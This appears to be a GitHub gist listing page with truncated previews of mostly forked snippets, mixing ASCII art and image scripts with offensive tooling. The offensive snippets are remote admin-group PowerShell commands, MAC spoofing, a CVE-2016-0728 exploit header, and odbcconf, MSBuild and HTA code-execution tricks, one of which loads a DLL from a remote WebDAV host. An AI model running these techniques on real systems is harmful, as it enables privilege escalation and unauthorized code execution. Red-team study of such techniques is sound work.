Skip to content

Instantly share code, notes, and snippets.

View ahhh's full-sized avatar
👾
danger code

Dan Borges ahhh

👾
danger code
View GitHub Profile
@ahhh
ahhh / @@.sh
Last active February 9, 2017 15:02 — forked from vitapluvia/@@.sh
This ascii flow art is called "Brick Wall", My first major change to the flow art series.
cat /dev/urandom | xxd -b | cut -c 10-60 | sed 's/\(.*\)/\1\1/g' | sed 's/ //g' | sed 's/1/_/g' | sed 's/0/]/g' | sed 's/]]/[/g' | cut -c 10-60 | sed '/_/ s/$/]/' | sed '/_/ s/^/[/'
# Add a domain user to a remote server local group, if your current user has admin over the remote machine
powershell -c ([ADSI]'WinNT://SERVER/Administrators,group').add('WinNT://DOMAIN/USER,user')
# Get all local groups on a remote server
powershell -c "([ADSI]'WinNT://SERVER,computer').psbase.children | where { $_.psbase.schemaClassName -eq 'group' } | foreach { ($_.name)[0]}"
# Find members of the local Administrators group on a remote server
powershell -c "$([ADSI]'WinNT://SERVER/Administrators,group').psbase.Invoke('Members') | foreach { $_.GetType().InvokeMember('ADspath', 'GetProperty', $null, $_, $null).Replace('WinNT://', '') }"
# Enable the local Administrator account on a remote server
@ahhh
ahhh / ca.py
Last active August 29, 2015 14:20 — forked from vitapluvia/ca.py
#!/usr/bin/env python
import random
import sys
import time
import Image
#ROW_AMT = 11185
ROW_AMT = 285
COL_AMT = 290
@ahhh
ahhh / SpoofMAC
Last active August 29, 2015 14:21 — forked from kevinwallace/SpoofMAC
#!/bin/sh
. /etc/rc.common
StartService ()
{
ConsoleMessage "Running SpoofMAC script."
/usr/sbin/networksetup -setairportpower en0 on
/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -z
/sbin/ifconfig en0 ether `python -c 'import random;print ":".join("%02x" % octet for octet in [random.randint(0,64) << 2] + [random.randint(0,127) for _ in range(5)])'`
/usr/sbin/networksetup -detectnewhardware
@ahhh
ahhh / embeddableclip.html
Created January 16, 2016 07:31 — forked from skopp/embeddableclip.html
A simple way to embed gist into Blogger's dynamic view.
<!-- to do: make this parse -->
<div class="clipboardEmbedClip" data-clip-id="LQL1lDhsxPcZfc2h4vuk3E1MpI-5Xc_CPlqe" data-width="782" data-height="763" data-scale="disabled">
</div>
<script type="text/javascript">(function() {if (!window.CLIPBOARD || !window.CLIPBOARD.widgets) {var elem = document.createElement("script");elem.type = "text/javascript";elem.async = true;elem.src = "//clipboard.com/js/widgets.js";var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(elem, s);}})();
</script>
@ahhh
ahhh / cve_2016_0728.c
Created January 19, 2016 18:22 — forked from PerceptionPointTeam/cve_2016_0728.c
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
@ahhh
ahhh / Get-ScreenShot.ps1
Last active November 1, 2016 20:11 — forked from guitarrapc/Get-ScreenShot.ps1
Screenshot Automation with PowerShell
function Get-ScreenShot
{
[CmdletBinding()]
param(
[parameter(Mandatory = 0)]
[ValidateNotNullOrEmpty()]
[Alias('Path', 'Out', 'o')]
[string]$OutPath = "$env:USERPROFILE\Documents\ScreenShot",
#screenshot_[yyyyMMdd_HHmmss_ffff].png
@ahhh
ahhh / odbcconf.cs
Created December 26, 2017 17:09 — forked from Arno0x/odbcconf.cs
Download and execute arbitrary code with odbcconf.exe
/*
To use with odbcconf.exe:
odbcconf /S /A {REGSVR odbcconf.dll}
or, from a remote location (if WebDAV support enabled):
odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
*/
using System;
@ahhh
ahhh / msbuild.xml
Created December 26, 2017 17:09 — forked from Arno0x/msbuild.xml
MSBuild project definition to execute arbitrary code from msbuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@ahhh
ahhh / calc.hta
Created December 26, 2017 17:10 — forked from Arno0x/calc.hta
HTML Application example to be executed by mstha.exe
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>